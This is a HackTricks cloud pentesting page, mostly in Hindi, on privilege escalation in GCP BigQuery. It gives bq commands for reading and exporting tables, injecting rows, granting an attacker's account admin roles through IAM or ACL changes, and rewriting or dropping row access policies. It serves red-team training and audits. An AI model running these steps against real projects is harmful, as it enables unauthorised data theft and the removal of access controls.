GCP - BigQuery Privesc

Reading time: 5 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

BigQuery

BigQuery के बारे में अधिक जानकारी के लिए देखें:

GCP - Bigquery Enum

Read Table

BigQuery तालिका के अंदर संग्रहीत जानकारी को पढ़ने से संवेदनशील जानकारी मिलना संभव हो सकता है। जानकारी तक पहुँचने के लिए आवश्यक अनुमति bigquery.tables.get, bigquery.jobs.create और bigquery.tables.getData है:

bash
bq head <dataset>.<table>
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'

डेटा निर्यात करें

यह डेटा तक पहुँचने का एक और तरीका है। इसे एक क्लाउड स्टोरेज बकेट में निर्यात करें और जानकारी के साथ फ़ाइलें डाउनलोड करें
इस क्रिया को करने के लिए निम्नलिखित अनुमतियों की आवश्यकता है: bigquery.tables.export, bigquery.jobs.create और storage.objects.create

bash
bq extract <dataset>.<table> "gs://<bucket>/table*.csv"

Insert data

यह संभव है कि कुछ विश्वसनीय डेटा को Bigquery तालिका में किसी अन्य स्थान में एक कमजोरियों का लाभ उठाने के लिए पेश किया जाए। यह bigquery.tables.get, bigquery.tables.updateData और bigquery.jobs.create अनुमतियों के साथ आसानी से किया जा सकता है:

bash
# Via query
bq query --nouse_legacy_sql 'INSERT INTO `<proj>.<dataset>.<table-name>` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'

# Via insert param
bq insert dataset.table /tmp/mydata.json

bigquery.datasets.setIamPolicy

एक हमलावर इस विशेषाधिकार का दुरुपयोग करके अपने लिए और अधिक अनुमतियाँ प्राप्त कर सकता है एक BigQuery डेटासेट पर:

bash
# For this you also need bigquery.tables.getIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>

# use the set-iam-policy if you don't have bigquery.tables.getIamPolicy

bigquery.datasets.update, (bigquery.datasets.get)

यह अनुमति केवल ACLs को संशोधित करके BigQuery डेटासेट पर आपकी पहुँच को अपडेट करने की अनुमति देती है जो यह दर्शाती है कि कौन इसे एक्सेस कर सकता है:

bash
# Download current permissions, reqires bigquery.datasets.get
bq show --format=prettyjson <proj>:<dataset> > acl.json
## Give permissions to the desired user
bq update --source acl.json <proj>:<dataset>
## Read it with
bq head $PROJECT_ID:<dataset>.<table>

bigquery.tables.setIamPolicy

एक हमलावर इस विशेषाधिकार का दुरुपयोग करके अपने लिए और अधिक अनुमतियाँ प्राप्त कर सकता है एक BigQuery तालिका पर:

bash
# For this you also need bigquery.tables.setIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>.<table>

# use the set-iam-policy if you don't have bigquery.tables.setIamPolicy

bigquery.rowAccessPolicies.update, bigquery.rowAccessPolicies.setIamPolicy, bigquery.tables.getData, bigquery.jobs.create

दस्तावेज़ों के अनुसार, उल्लेखित अनुमतियों के साथ एक पंक्ति नीति को अपडेट करना संभव है।
हालांकि, cli bq का उपयोग करते समय आपको कुछ और चाहिए: bigquery.rowAccessPolicies.create, bigquery.tables.get

bash
bq query --nouse_legacy_sql 'CREATE OR REPLACE ROW ACCESS POLICY <filter_id> ON `<proj>.<dataset-name>.<table-name>` GRANT TO ("<user:user@email.xyz>") FILTER USING (term = "Cfba");' # A example filter was used

यह संभव है कि पंक्ति नीतियों की गणना के आउटपुट में फ़िल्टर आईडी पाया जा सके। उदाहरण:

bash
bq ls --row_access_policies <proj>:<dataset>.<table>

Id        Filter Predicate            Grantees              Creation Time    Last Modified Time
------------- ------------------ ----------------------------- ----------------- --------------------
apac_filter   term = "Cfba"      user:asd@hacktricks.xyz   21 Jan 23:32:09   21 Jan 23:32:09

यदि आपके पास bigquery.rowAccessPolicies.delete है बजाय bigquery.rowAccessPolicies.update के, तो आप नीति को बस हटा भी सकते हैं:

bash
# Remove one
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICY <policy_id> ON `<proj>.<dataset-name>.<table-name>`;'

# Remove all (if it's the last row policy you need to use this
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICIES ON `<proj>.<dataset-name>.<table-name>`;'

caution

पंक्ति पहुँच नीतियों को बायपास करने का एक और संभावित विकल्प प्रतिबंधित डेटा के मान को बदलना होगा। यदि आप केवल तब देख सकते हैं जब term Cfba है, तो बस तालिका के सभी रिकॉर्ड को term = "Cfba" में संशोधित करें। हालाँकि, यह bigquery द्वारा रोका गया है।

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें